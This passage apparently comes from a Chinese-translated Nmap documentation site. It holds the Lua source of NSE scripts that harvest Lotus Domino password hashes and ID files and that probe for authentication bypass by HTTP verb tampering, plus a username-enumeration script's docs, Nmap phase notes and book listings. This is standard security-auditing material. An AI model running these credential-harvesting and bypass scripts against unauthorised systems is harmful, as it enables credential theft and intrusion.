Smith:655E98E7C7B59BD810ED845AD0FD2FD4 -- | ID Files -- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id) -- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id) -- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id) -- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id) -- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id) -- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id) -- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id) -- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id) -- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id) -- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id) -- | -- |_ Results limited to 10 results (see http-domino-enum-passwords.count) -- -- -- @args http-domino-enum-passwords.path points to the path protected by -- authentication. Default:"/names.nsf/People?OpenView" -- @args http-domino-enum-passwords.hostname sets the host header in case of virtual hosting. -- Not needed if target is specified by name. -- @args http-domino-enum-passwords.count the number of internet hashes and id files to fetch. -- If a negative value is given, all hashes and id files are retrieved (default: 10) -- @args http-domino-enum-passwords.idpath the path where downloaded ID files should be saved -- If not given, the script will only indicate if the ID file is donwloadable or not -- @args http-domino-enum-passwords.username Username for HTTP auth, if required -- @args http-domino-enum-passwords.password Password for HTTP auth, if required -- -- Version 0.4 -- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Revised 07/31/2010 - v0.2 - add support for downloading ID files -- Revised 11/25/2010 - v0.3 - added support for separating hash-type <martin@swende.se> -- Revised 04/16/2015 - v0.4 - switched to 'creds' credential repository <nnposter> author = "Patrik Karlsson" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"intrusive", "auth"} dependencies = {"http-brute", "http-form-brute"} portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open") --- Checks if the <code>path</code> require authentication -- -- @param host table as received by the action function or the name specified -- in the hostname argument -- @param port table as received by the action function -- @param path against which to check if authentication is required local function requiresAuth( host, port, path ) local result = http.get(host, port, "/names.nsf") if ( result.status == 401 ) then return true elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then return true end return false end --- Checks if the credentials are valid and allow access to <code>path</code> -- -- @param host table as received by the action function or the name specified -- in the hostname argument -- @param port as received by the action method -- @param path the patch against which to validate the credentials -- @param user the username used for authentication -- @param pass the password used for authentication -- @return true on valid access, false on failure local function isValidCredential( host, port, path, user, pass ) -- we need to supply the no_cache directive, or else the http library -- incorrectly tells us that the authentication was successful local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true }) if ( result.status == 401 ) then return false end return true end --- Retrieves all uniq links in a pages -- -- @param body the html content of the received page -- @param filter a filter to use for additional link filtering -- @param links [optional] table containing previously retrieved links -- @return links table containing retrieved links local function getLinks( body, filter, links ) local tmp = {} local links = links or {} local filter = filter or ".*" if ( not(body) ) then return end for _, v in ipairs( links ) do tmp[v] = true end for link in body:gmatch("<a href=\"([^\"]+)\"") do -- use link as key in order to remove duplicates if ( link:match(filter)) then tmp[link] = true end end links = {} for k, _ in pairs(tmp) do table.insert(links, k) end return links end --- Retrieves the "next page" path from the returned document -- -- @param body the html content of the received page -- @return link to next page local function getPager( body ) return body:match("<form.+action=\"(.+%?ReadForm)&" ) end --- Retrieves the username and passwords for a user -- -- @param body the html content of the received page -- @return full_name the full name of the user -- @return password the password hash for the user local function getUserDetails( body ) -- retrieve the details local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">") local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">") local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">") local id_file = body:match("<a href=\"(.-UserID)\">") -- Remove the parenthesis around the password http_passwd = http_passwd:sub(2,-2) -- In case we have more than one full name, return only the last full_name = stringaux.strsplit(";%s*", full_name) full_name = full_name[#full_name] return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file } end --- Saves the ID file to disk -- -- @param filename string containing the name and full path to the file -- @param data contains the data -- @return status true on success, false on failure -- @return err string containing error message if status is false local function saveIDFile( filename, data ) local f = io.open( filename, "w") if ( not(f) ) then return false, ("Failed to open file (%s)"):format(filename) end if ( not(f:write( data ) ) ) then return false, ("Failed to write file (%s)"):format(filename) end f:close() return true end local function fail (err) return stdnse.format_output(false, err) end action = function(host, port) local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or "/names.nsf/People?OpenView" local download_path = stdnse.get_script_args(SCRIPT_NAME .. '.idpath') local vhost= stdnse.get_script_args(SCRIPT_NAME .. '.hostname') local user = stdnse.get_script_args(SCRIPT_NAME .. '.username') local pass = stdnse.get_script_args(SCRIPT_NAME .. '.password') local pos, pager local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{} local chunk_size = 30 local max_fetch = tonumber(stdnse.get_script_args(SCRIPT_NAME .. '.count')) or 10 local http_response local has_creds = false -- authentication required? if ( requiresAuth( vhost or host, port, path ) ) then -- A user was provided, attempt to authenticate if ( user ) then if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then return fail("The provided credentials were invalid") end else local c = creds.Credentials:new(creds.ALL_DATA, host, port) for cred in c:getCredentials(creds.State.VALID) do has_creds = true if (isValidCredential(vhost or host, port, path, cred.user, cred.pass)) then user = cred.user pass = cred.pass break end end if not pass then local msg = has_creds and "No valid credentials were found" or "No credentials supplied" return fail(("%s (see http-domino-enum-passwords.username and http-domino-enum-passwords.password)"):format(msg)) end end end http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) if http_response.status and http_response.status ==200 then pager = getPager( http_response.body ) end if ( not(pager) ) then if ( http_response.body and http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then return fail("Failed to authenticate") else return fail("Failed to process results") end end pos = 1 -- first collect all links while( true ) do path = pager .. "&Start=" .. pos http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) if ( http_response.status == 200 ) then local size = #links links = getLinks( http_response.body, "%?OpenDocument", links ) -- No additions were made if ( size == #links ) then break end end if ( max_fetch > 0 and max_fetch < #links ) then break end pos = pos + chunk_size end for _, link in ipairs(links) do stdnse.debug2("Fetching link: %s", link) http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true }) local u_details = getUserDetails( http_response.body ) if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then break end if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then stdnse.debug2("Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd) -- Old type are 32 bytes, new are 20 if #u_details.passwd == 32 then table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd)) else table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd)) end end if ( u_details.idfile ) then stdnse.debug2("Found ID file for user: %s", u_details.fullname) if ( download_path ) then stdnse.debug2("Downloading ID file for user: %s", u_details.full_name) http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true }) if ( http_response.status == 200 ) then local filename = download_path .. "/" .. stringaux.filename_escape(u_details.fullname .. ".id") local status, err = saveIDFile( filename, http_response.body ) if ( status ) then table.insert( id_files, ("%s ID File has been downloaded (%s)"):format(u_details.fullname, filename) ) else table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) ) end else table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) ) end else table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) ) end end end if( #hashes + #legacyHashes > 0) then table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } ) end if ( #hashes ) then hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)" table.insert( result, hashes ) end if (#legacyHashes ) then legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)" table.insert( result, legacyHashes ) end if ( #id_files ) then id_files.name = "ID Files" table.insert( result, id_files ) end local result = stdnse.format_output(true, result) if ( max_fetch > 0 ) then result = result .. (" \n Results limited to %d results (see http-domino-enum-passwords.count)"):format(max_fetch) end return result end
脚本http-method-tamper
脚本类型:portrule
类别: auth , vuln
下载:https ://svn.nmap.org/nmap/scripts/http-method-tamper.nse
脚本摘要
尝试通过执行 HTTP 动词篡改来绕过受密码保护的资源(HTTP 401 状态)。如果未设置要检查的路径数组,它将爬取 Web 服务器并针对它找到的任何受密码保护的资源执行检查。
该脚本通过执行 HTTP 动词篡改和监视状态代码来确定受保护的 URI 是否易受攻击。首先,它使用 HEAD 请求,然后是 POST 请求,最后是随机生成的字符串(当 Web 服务器将未知请求方法视为 GET 请求时,最后一个非常有用。PHP 服务器就是这种情况)。
如果paths
设置了表,它将尝试访问给定的 URI。否则,将启动网络爬虫以尝试查找受保护的资源。请注意,在带有 .htaccess 文件的 PHP 环境中,您需要指定文件的路径而不是目录才能找到配置错误的 .htaccess 文件。
参考:
- http://www.imperva.com/resources/glossary/http_verb_tampering.html
- https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
- http://www.mkit.com.ar/labs/htexploit/
- http://capec.mitre.org/data/definitions/274.html
脚本参数
- http-method-tamper.timeout
-
网络爬虫超时。默认值:10 秒
- http-方法-tamper.uri
-
要爬网的基本 URI。
http-method-tamper.paths
如果已设置,则不适用。 - http-method-tamper.paths
-
要检查的路径数组。如果未设置,脚本将爬取 Web 服务器。
- httpspider.doscraping , httpspider.maxdepth , httpspider.maxpagecount , httpspider.noblacklist , httpspider.url , httpspider.useheadfornonwebfiles , httpspider.withindomain , httpspider.withinhost
-
请参阅httpspider库的文档。
- vulns.short , vulns.showall
-
请参阅vulns库的文档。
- slaxml.debug
-
请参阅slaxml库的文档。
- smbdomain , smbhash , smbnoguest , smbpassword , smbtype , smbusername
-
请参阅smbauth库的文档。
- http.host , http.max-body-size , http.max-cache-size , http.max-pipeline , http.pipeline , http.truncated-ok , http.useragent
-
请参阅http库的文档。
示例用法
-
nmap -sV --script http-method-tamper <目标>
-
nmap -p80 --script http-method-tamper --script-args 'http-method-tamper.paths={/protected/db.php,/protected/index.php}' <target>
脚本输出
端口状态服务原因 80/tcp 打开 http syn-ack | http 方法篡改: | 易受攻击: | 通过 HTTP 动词篡改绕过身份验证 | 状态:易受攻击(可利用) | 说明: | 此 Web 服务器包含受密码保护的资源,容易绕过身份验证 | 通过 HTTP 动词篡改的漏洞。这通常出现在只限制访问 |的 Web 服务器中。常见的 HTTP 方法和配置错误的 .htaccess 文件。 | | 额外信息: | | 怀疑易受 HTTP 动词篡改的 URI: | /method-tamper/protected/pass.txt [POST] | | 参考: | http://www.imperva.com/resources/glossary/http_verb_tampering.html | http://www.mkit.com.ar/labs/htexploit/ | http://capec.mitre.org/data/definitions/274.html |_ https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
description = [[ Attempts to bypass password protected resources (HTTP 401 status) by performing HTTP verb tampering. If an array of paths to check is not set, it will crawl the web server and perform the check against any password protected resource that it finds. The script determines if the protected URI is vulnerable by performing HTTP verb tampering and monitoring the status codes. First, it uses a HEAD request, then a POST request and finally a random generated string ( This last one is useful when web servers treat unknown request methods as a GET request. This is the case for PHP servers ). If the table <code>paths</code> is set, it will attempt to access the given URIs. Otherwise, a web crawler is initiated to try to find protected resources. Note that in a PHP environment with .htaccess files you need to specify a path to a file rather than a directory to find misconfigured .htaccess files. References: * http://www.imperva.com/resources/glossary/http_verb_tampering.html * https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29 * http://www.mkit.com.ar/labs/htexploit/ * http://capec.mitre.org/data/definitions/274.html ]] --- -- @usage nmap -sV --script http-method-tamper <target> -- @usage nmap -p80 --script http-method-tamper --script-args 'http-method-tamper.paths={/protected/db.php,/protected/index.php}' <target> -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | http-method-tamper: -- | VULNERABLE: -- | Authentication bypass by HTTP verb tampering -- | State: VULNERABLE (Exploitable) -- | Description: -- | This web server contains password protected resources vulnerable to authentication bypass -- | vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the -- | common HTTP methods and in misconfigured .htaccess files. -- | -- | Extra information: -- | -- | URIs suspected to be vulnerable to HTTP verb tampering: -- | /method-tamper/protected/pass.txt [POST] -- | -- | References: -- | http://www.imperva.com/resources/glossary/http_verb_tampering.html -- | http://www.mkit.com.ar/labs/htexploit/ -- | http://capec.mitre.org/data/definitions/274.html -- |_ https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29 -- -- @args http-method-tamper.uri Base URI to crawl. Not applicable if <code>http-method-tamper.paths</code> is set. -- @args http-method-tamper.paths Array of paths to check. If not set, the script will crawl the web server. -- @args http-method-tamper.timeout Web crawler timeout. Default: 10s --- author = "Paulino Calderon <calderon@websec.mx>" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"auth", "vuln"} local http = require "http" local shortport = require "shortport" local stdnse = require "stdnse" local table = require "table" local httpspider = require "httpspider" local vulns = require "vulns" local url = require "url" local string = require "string" local rand = require "rand" portrule = shortport.http -- -- Checks if the web server does not return status 401 when requesting with other HTTP verbs. -- First, it tries with HEAD, POST and then with a random string. -- local function probe_http_verbs(host, port, uri) stdnse.debug2("Tampering HTTP verbs %s", uri) local head_req = http.head(host, port, uri) if head_req and head_req.status ~= 401 then return true, "HEAD" end local post_req = http.post(host, port, uri) if post_req and post_req.status ~= 401 then return true, "POST" end --With a random generated verb we look for 400 and 501 status local random_verb_req = http.generic_request(host, port, rand.random_alpha(4):upper(), uri) local retcodes = { [400] = true, -- Bad Request [401] = true, -- Authentication needed [501] = true, -- Invalid method } if random_verb_req and not retcodes[random_verb_req.status] then return true, "GENERIC" end return false end action = function(host, port) local vuln_uris = {} local paths = stdnse.get_script_args(SCRIPT_NAME..".paths") local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/" local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) timeout = (timeout or 10) * 1000 local vuln = { title = 'Authentication bypass by HTTP verb tampering', state = vulns.STATE.NOT_VULN, description = [[ This web server contains password protected resources vulnerable to authentication bypass vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the common HTTP methods and in misconfigured .htaccess files. ]], references = { 'http://www.mkit.com.ar/labs/htexploit/', 'http://www.imperva.com/resources/glossary/http_verb_tampering.html', 'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29', 'http://capec.mitre.org/data/definitions/274.html' } } local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) -- If paths is not set, crawl the web server looking for http 401 status if not(paths) then local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } ) crawler:set_timeout(timeout) while(true) do local status, r = crawler:crawl() if ( not(status) ) then if ( r.err ) then return stdnse.format_output(false, r.reason) else break end end if r.response.status == 401 then stdnse.debug2("%s is protected! Let's try some verb tampering...", tostring(r.url)) local parsed = url.parse(tostring(r.url)) local probe_status, probe_type = probe_http_verbs(host, port, parsed.path) if probe_status then stdnse.debug1("Vulnerable URI %s", uri) table.insert(vuln_uris, parsed.path..string.format(" [%s]", probe_type)) end end end else -- Paths were set, check them and exit. No crawling here. -- convert single string entry to table if ( type(paths) == "string" ) then paths = { paths } end -- iterate through given paths/files for _, path in ipairs(paths) do local path_req = http.get(host, port, path) if path_req.status == 401 then local probe_status, probe_type = probe_http_verbs(host, port, path) if probe_status then stdnse.debug1("Vulnerable URI %s", path) table.insert(vuln_uris, path..string.format(" [%s]", probe_type)) end end end end if ( #vuln_uris > 0 ) then vuln.state = vulns.STATE.EXPLOIT vuln_uris.name = "URIs suspected to be vulnerable to HTTP verb tampering:" vuln.extra_info = stdnse.format_output(true, vuln_uris) end return vuln_report:make_output(vuln) end
脚本http-userdir-enum
脚本类型:portrule
类别: auth , intrusive
下载:https ://svn.nmap.org/nmap/scripts/http-userdir-enum.nse
脚本摘要
尝试在启用了 mod_userdir 模块或类似模块的 Web 服务器上枚举有效用户名。
Apache mod_userdir 模块允许使用http://example.com/~user/语法访问特定于用户的目录。此脚本发出 http 请求以发现有效的用户特定目录并推断有效的用户名。默认情况下,脚本将使用 Nmap 的 nselib/data/usernames.lst
. HTTP 响应状态为 200 或 403 意味着用户名可能是有效的,并且用户名将与状态代码(在括号中)一起输出到脚本结果中。
该脚本通过请求一个不太可能存在的目录来尝试避免误报。如果服务器以 200 或 403 响应,则脚本将不会继续对其进行测试。
CVE-2001-1013:http ://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1013 。
脚本参数
- http-userdir-enum.limit
-
要检查的最大用户数。
- http-userdir-enum.users
-
用户名列表的文件名。
- slaxml.debug
-
请参阅slaxml库的文档。
- http.host , http.max-body-size , http.max-cache-size , http.max-pipeline , http.pipeline , http.truncated-ok , http.useragent
-
请参阅http库的文档。
- smbdomain , smbhash , smbnoguest , smbpassword , smbtype , smbusername
-
请参阅smbauth库的文档。
示例用法
nmap -sV --script=http-userdir-enum <目标>
脚本输出
80/tcp 打开 http syn-ack Apache httpd 2.2.9 |_ http-userdir-enum: 潜在用户: root (403), user (200), test (200)
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
我用下面命令回顾下nmap的执行过程
nmap有6大阶段,主机发现阶段、端口扫描阶段、服务识别阶段、系统识别阶段、安全检测阶段、脚本执行阶段,
nmap <ip> 默认只是会执行前两个阶段。主机发现阶段、端口扫描阶段
主机发现阶段
发送4个探测包(syn443、 ack80 、echo、timestamp),一个有响应就是主机存活。
端口扫描阶段
发送1000个端口的探测包,一个有ack响应就是开放,没有响应就是过滤,一个rst响应就是关闭
我们看看下面命令nmap怎么执行
nmap -p 8009 <ip> --script ajp-auth,他会执行三个阶段,主机发现阶段、端口扫描阶段、脚本执行阶段
主机发现阶段不变化
端口扫描阶段,从1000个端口改为1个端口
附加ajp-auth脚本执行阶段
nmap -A <ip> ,会执行6大阶段
Zenmap GUI 用户指南
介绍
Nmap 图形前端的目的
扫描
配置文件
扫描聚合
解读扫描结果
扫描结果选项卡
“ Nmap 输出”选项卡
“端口/主机”选项卡
“拓扑”选项卡
“主机详情”选项卡
“扫描”选项卡
按主机排序
按服务排序
保存和加载扫描结果
最近扫描数据库
浏览网络拓扑
“拓扑”选项卡概述
图例 Legend
控件
动作控件
插入Interpolation 控件
布局控件
查看控件
鱼眼控件
键盘快捷键
主机查看器
配置文件编辑器
编辑命令
脚本选择
创建新配置文件
编辑或删除配置文件
主机过滤
搜索保存的结果
比较结果
你的语言中的Zenmap
创建新翻译
Zenmap 使用的文件
可执行nmap文件
系统配置文件
每个用户配置文件
输出文件
zenmap.conf描述
zenmap.conf节
命令行选项
语法概要 Synopsis
选项摘要
错误输出
历史
Ndiff 参考指南
描述
选项摘要
例子
输出
周期性差异
退出码
错误
历史
作者
网站
Ncat 参考指南
描述
选项摘要
连接模式和侦听模式
协议选项
连接模式选项
侦听模式选项
SSL 选项
代理选项
命令执行选项
访问控制选项
时间选项
输出选项
杂选项
Unix 域套接字
AF_VSOCK 套接字
例子
退出码
错误
作者
法律声明
Ncat 版权和许可
本 Ncat 指南的知识共享许可
源代码可用性和社区贡献
没有保证
不当使用
第三方软件
Nping 参考指南
描述
选项摘要
目标规格
选项规格
一般操作
探针模式
TCP 连接模式
TCP 模式
UDP模式
ICMP 模式
ICMP 类型
ICMP 代码
ARP 模式
ARP 类型
IPv4 选项
IPv6 选项
以太网选项
以太网类型
有效载荷选项
回显模式
时间和性能选项
其他选项
输出选项
错误
作者
Npcap packet capture
Security Lists
Security Tools
About
https://nmap.org/oem/
Insecure.org
杂七杂八
文档
Nmap 项目试图通过提供一整套用于安装和使用 Nmap 的文档来挑战某些开源软件文档记录不佳的刻板印象。此页面链接到 Insecure.Org 官方文档,以及其他各方的慷慨捐助。
Nmap 参考指南
使用 Nmap 的主要文档是Nmap 参考指南。这也是 Nmap 手册页(nmap.1 的 nroff 版本)的基础。它会针对每个版本定期更新,旨在作为几乎所有 Nmap 命令行参数的快速参考,但您可以通过直接阅读它来了解更多关于 Nmap 的信息。这 18 个部分包括简要选项摘要、防火墙/IDS 规避和欺骗、时间和性能、端口扫描技术、使用示例等等。
最初的 Nmap 手册页已被翻译成 15 种语言。这太棒了,因为它使 Nmap 在世界范围内更容易访问。现在提供以下语言:
上面的链接转到 HTML 指南。可以在此处找到每个手册页翻译的 Nroff(手册页格式)和 DocBook XML(源)版本。如果您想更新我们现有的翻译之一或翻译成上述未提及的语言,请阅读说明和常见问题解答,然后向我们的开发人员发送邮件或在 Github 上打开拉取请求。工作量很大,但回报是每个月都有成千上万的人从您的翻译中受益。
Nmap书
Nmap Network Scanning是 Nmap 的官方指南。从为新手解释端口扫描基础知识到详细介绍高级黑客使用的低级数据包制作方法,Nmap 原作者的这本书适合所有级别的安全和网络专业人士。参考指南 记录了每个 Nmap 功能和选项,而其余部分则演示了如何应用它们来快速解决实际任务。示例和图表显示了线路上的实际通信。主题包括颠覆防火墙和入侵检测系统、优化 Nmap 性能以及使用 Nmap 脚本引擎自动执行常见网络任务。这本书的一半以上 可以在线免费获得。它是用英文写的,但是已经被翻译成其他语言。
其他 Insecure.Org 文档
详细的Nmap 安装指南使安装变得容易。这涵盖了诸如UNIX 编译和配置指令以及在Linux、 Windows、 Mac OS X、 Free/Open/NetBSD、 Solaris、 Amiga 和 HP-UX上安装 Nmap 等主题。它还涵盖了Nmap 删除,以防您改变主意。
Nmap 最令人兴奋的新功能之一是Nmap 脚本引擎,它使用简单高效的Lua编程语言扩展了 Nmap 的功能。Nmap 包含大约 50 个有价值的网络发现和漏洞检测脚本,您也可以自己编写。我们在NSE 指南中深入描述了系统(从简单的使用说明到编写您自己的脚本) 。我们还有一个NSE 文档门户,其中包括每个 NSE 脚本和库的详细文档。
Fyodor 定期在会议上发表演讲,介绍 Nmap 的高级用法和新功能。他的演讲页面上提供了其中许多的音频、视频和/或幻灯片。
对 nmap 如何使用 TCP/IP 指纹识别进行远程操作系统检测感兴趣?我们已经写了一篇关于第二代 Nmap OS 检测系统的详细文章。我们还有一篇关于第一代系统的旧文章,人们慷慨地将其翻译成法语、 葡萄牙语、 意大利语、 俄语、 西班牙语、 德语、 日语、 中文、 繁体中文(Big5)、 土耳其语、 希伯来语、 印度尼西亚语、 荷兰语。 抛光和 瑞典语。
Nmap 版本检测:不是使用简单的 nmap-services 表查找来确定端口的可能用途,Nmap 将(如果被要求)询问该 TCP 或 UDP 端口以确定真正正在侦听的服务。在许多情况下,它还可以确定应用程序名称和版本号。SSL 加密和 Sun RPC 等障碍没有威胁,因为 Nmap 可以使用 OpenSSL(如果可用)以及利用 Nmap 的 RPC 暴力破戒器进行连接。还支持 IPv6。在我们的版本检测论文中了解有关这一强大功能的所有信息
Nmap 现在有一个名为Zenmap的官方跨平台 GUI 。它包含在 Nmap 下载页面上的大多数包中。Zenmap 用户指南中记录了它。更多信息可从Zenmap 站点和Zenmap 手册页获得。
Nmap 最酷但仍然相对晦涩的功能之一是 IPID 空闲扫描 (-sI)。这不仅允许完全盲目的端口扫描(没有数据包从您的真实 IP 发送到目标),而且它甚至可以让您在某些情况下绕过数据包过滤器。我们写了一篇空闲扫描论文,描述了这种技术以及基于可预测的 IPID 序列号的其他几个漏洞。它包括现实生活中的示例以及有关保护自己免受这些技术侵害的部分。
每个 Nmap 版本中最重要的更改(功能、错误修复等)都在其ChangeLog中进行了描述。
虽然它现在只具有历史意义,但 Nmap 在 1997 年 9 月 1 日的 Phrack 51 文章中首次发布,标题为端口扫描的艺术
更多书籍
本节涵盖由 Nmap 作者 Fyodor 撰写/合着或广泛涵盖 Nmap 的书籍。
- Nmap Network Scanning是 Nmap 的官方指南。从为新手解释端口扫描基础知识到详细介绍高级黑客使用的低级数据包制作方法,Nmap 原作者的这本书适合所有级别的安全和网络专业人士。参考指南 记录了每个 Nmap 功能和选项,而其余部分则演示了如何应用它们来快速解决实际任务。示例和图表显示了线路上的实际通信。主题包括颠覆防火墙和入侵检测系统、优化 Nmap 性能以及使用 Nmap 脚本引擎自动执行常见网络任务。这本书的一半以上 可以在线免费获得。它是用英文写的,但是已经被翻译成其他语言。
- Fyodor与 FX、Joe Grand、Kevin Mitnick、Ryan Russell、Jay Beale 等人 合着了《窃取网络:如何拥有大陆》,这是一部关于黑客的小说。他们各自的故事共同描述了一场大规模的电子金融抢劫。虽然这部作品是虚构的,但使用 Nmap、Hping2、OpenSSL 等真实技术对黑客进行了深入描述。窃取网络:如何拥有大陆可以在亚马逊购买(节省 17 美元),您可以在线阅读 Fyodor 的章节免费。STC 是畅销书,曾一度成为亚马逊上销量第二高的电脑书。
- Syngress 发布了续集:窃取网络:如何拥有身份。他们慷慨地允许 Fyodor 免费发布他最喜欢的章节。因此,请享受Nmap 贡献者 Brian Hatch 的Bl@ckTo\/\/3r 。它充满了诙谐幽默和创造性的安全难题,让专家们乐在其中,同时它还提供有关 SSH、SSL 和 X Windows 身份验证和加密的细节的安全课程。
- Paulino Calderón Pale 编写了Nmap 6: Network Exploration and Security Auditing Cookbook(也可以直接通过 Packt Publishing获得)。
- Paulino 还撰写了 Mastering the Nmap Scripting Engine(也可直接通过 Packt Publishing获得)。
- James Messer 撰写了有关 Nmap 的 230 页电子书《网络制图的秘密》 。可以购买PDF ,也可以免费查看支持广告的 HTML 版本。
- Syngress 在企业版中发布了Nmap: Angela Orebaugh 和 Becky Pinkard 的网络扫描指南。
第 3 方文件
Nmap 用户自己贡献了一些最好的(当然也是最有创意的!)文档。如果您写了一篇关于 Nmap 的有趣或有用的文档,请将公告发送至nmap-dev或直接发送至 Fyodor。
James “Professor” Messer 的“Nmap Secrets”培训课程已经下架,但他在ProfessorMesser.Com上仍然有很多与Nmap 相关的内容。
详细的Nmap 教程由 Andrew Bennieston (Stormhawk) 在 2003 年到 2006 年间维护。
Mohamed Aly 创建了这个单页 (PDF) Nmap Mindmap,作为对所有主要 Nmap 选项的方便参考。[2006]
Mark Wolfgang 写了一篇关于使用 Nmap 进行高级主机发现的优秀论文。这是PDF 论文 [本地副本] 和相关的源代码。[2002]
Adrian Crenshaw在 Flash中制作了几个出色的视频教程。查看第 1 卷:基本 Nmap 使用和第 2 卷:端口扫描 Boogaloo。[2005]
Nmap 的长期贡献者 Lamont Granquist为开始使用 nmap 编写了一份清晰而有用的(如果过时的话)指南。[1999]
Raven Alder 编写了一个名为Nmap 的简短指南——从外向内寻找LinuxChix。[2002]
哦哦!安全专家和Counter Hack作者 Ed Skoudis 发现了我们与 Microsoft 的秘密合作伙伴关系!
官方书籍---Nmap网络扫描
译者注:书籍只是文档的一部分,参考指南是书籍的一部分
Nmap Network Scanning是Nmap Security Scanner的官方指南,这是一个免费的开源实用程序,被数百万人用于网络发现、管理和安全审计。从为新手 解释端口扫描基础知识到详细介绍高级黑客使用的低级数据包制作方法,本书适合 所有级别的安全和网络专业人员。一份 42 页的参考指南记录了 Nmap 的每个特性和选项,而本书的其余部分则演示了如何应用这些特性来快速解决实际任务。示例和图表显示了线路上的实际通信。
主题包括颠覆防火墙和入侵检测系统、 优化 Nmap 性能以及使用 Nmap 脚本引擎自动执行常见的网络任务。提供了常见用途的提示和说明,例如获取网络清单、渗透测试、检测恶意无线接入点和消除网络蠕虫爆发。Nmap 在 Windows、Linux 和 Mac OS X 上运行。
Nmap 的原作者Gordon “Fyodor” Lyon写这本书是为了分享他在 Nmap 开发十多年中所学到的关于网络扫描的一切。它曾一度成为亚马逊上销量第一的电脑书(截图)。这本书是英文的,虽然有几个翻译正在制作中。
关键事实:ISBN 为978-0-9799587-1-7(ISBN-10 为 0-9799587-1-7),建议零售价在美国为 49.95 美元,在英国为 34.95 英镑,在欧洲为 39.95 欧元。像大多数书籍一样,它的在线成本更低(低至 32.97 美元 - 请参阅购买选项)。它有468页长。正式发布日期是 2009 年 1 月 1 日,尽管亚马逊设法在几周之内击败了它。
大约一半的内容可在免费在线版本中获得。印刷版独有的章节包括“检测和破坏防火墙和入侵检测系统”、“优化 Nmap 性能”、“端口扫描技术和算法”、“主机发现(Ping 扫描)”等。提供有关解决常见网络任务的最佳方法的详细说明的解决方案选择也是印刷书籍独有的。最终 目录和封面艺术可用。
评论
评论一进来就发布在这里。如果您将评论发布到您的博客或其他任何地方,请告诉我。截至 2022 年 2 月,Nmap 网络扫描在 Amazon.com 上获得4.8星评级,共有314条评论。
- “如果你正在寻找关于 Nmap 的书,那么搜索就结束了:NNS 是赢家” ——Richard Bejtlich的详细评论。NNS 还入选了 Bejtlich 的2008 年畅销书排行榜。
- “这是 Nmap 的终极参考指南”,关于“ Nmap,传奇的网络扫描仪” ——Ben Rothke的Slashdot 评论。
- “于 12 月 6 日在亚马逊上发售,已经在计算机书籍类别中排名第一,这是网络扫描必备书籍。” — David Heath对 ITWire的评论。
- “这是我读过的关于安全工具的最具启发性的技术书籍。Fyodor 将 Nmap 翻过来解释它的作用、它是如何做的以及为什么要这样写。如果您正在寻找一本关于 Nmap 的权威书籍,就是这样。”— Ethan Ten的5 星级亚马逊英国评论。
- “轻读” ——Metasploit 作者HD Moore。
- Nmap 网络扫描“对于任何保护网络的人来说都是必读的”并且“应该在未来数月和数年内成为您办公桌的中心” ——Wireshark 大学创始人Laura Chappell的热情洋溢的评论。
